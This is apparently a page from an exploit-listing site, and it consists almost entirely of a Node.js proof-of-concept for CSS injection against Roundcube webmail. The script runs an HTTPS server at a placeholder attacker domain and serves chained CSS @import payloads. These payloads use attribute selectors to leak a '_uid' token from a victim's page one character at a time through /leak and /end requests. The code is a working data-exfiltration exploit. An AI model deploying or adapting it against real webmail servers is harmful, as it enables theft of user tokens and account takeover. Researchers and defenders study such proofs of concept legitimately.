4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / roundcube-css-exploit.js JS
// Research: https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf
// Original code: https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231

const https = require('https');
const http = require('http'); // For HTTP to HTTPS redirection (optional)
const url = require('url');
const fs = require('fs');
const port = 443; // Default HTTPS port

const HOSTNAME = "https://a.attackerdomain.com";
const DEBUG = false;

var prefix = "", postfix = "";
var pending = [];
var stop = false, ready = 0, n = 0;

// SSL certificates
const options = {
    key: fs.readFileSync('/etc/letsencrypt/live/[a.attackerdomain.com]/privkey.pem'),
    cert: fs.readFileSync('/etc/letsencrypt/live/[a.attackerdomain.com]/fullchain.pem')
};

const requestHandler = (request, response) => {
    let req = url.parse(request.url, url);
    log('\treq: %s', request.url);
    if (stop) return response.end();

    switch (req.pathname) {
        case "/start":
            genResponse(response);
            break;
        case "/leak":
            response.end();
            if (req.query.pre && prefix !== req.query.pre) {
                prefix = req.query.pre;
            } else if (req.query.post && postfix !== req.query.post) {
               postfix = req.query.post;
            } else {
                break;
            }
            if (ready == 1) {
                genResponse(pending.shift());
                ready = 0;
            } else {
                ready++;
                log('\tleak: waiting others...');
            }
            break;
        case "/next":
            console.log(n)
            if (ready == 1) {
                genResponse(response);
                ready = 0;
            } else {
                pending.push(response);
                ready++;
                log('\tquery: waiting others...');
            }
            break;
        case "/end":
            stop = true;
            console.log('[+] END: %s', req.query.token);
        default:
            response.end();
    }
}

const genResponse = (response) => {
    console.log('...post-payload: ' + postfix);
    let css = '@import url(' + HOSTNAME + '/next?' + Math.random() + ');' +
        [1,2,3,4,5,6,7,8,9,0,'='].map(e => ('a[id=rcmbtnfrm100][href*="_uid=' + postfix + e + '"]{--e'+n+':url(' + HOSTNAME + '/leak?post=' + postfix + e + ')}')).join('') +
        'div '.repeat(n) + 'a{background:var(--e'+n+')} ' +
        'a[id=rcmbtnfrm100][href='+ postfix + prefix + ']{list-style:url(' + HOSTNAME + '/end?token=' + postfix + prefix + '&)};';
    response.writeHead(200, { 'Content-Type': 'text/css' });
    response.write(css);
    response.end();
    n++;
}

// HTTPS server
const server = https.createServer(options, requestHandler);

server.listen(port, (err) => {
    if (err) {
        return console.log('[-] Error: something bad happened', err);
    }
    console.log('[+] HTTPS Server is listening on %d', port);
});

// redirect HTTP traffic
http.createServer((req, res) => {
    res.writeHead(301, { "Location": "https://" + req.headers['host'] + req.url });
    res.end();
}).listen(80);

function log() {
    if (DEBUG) console.log.apply(console, arguments);
}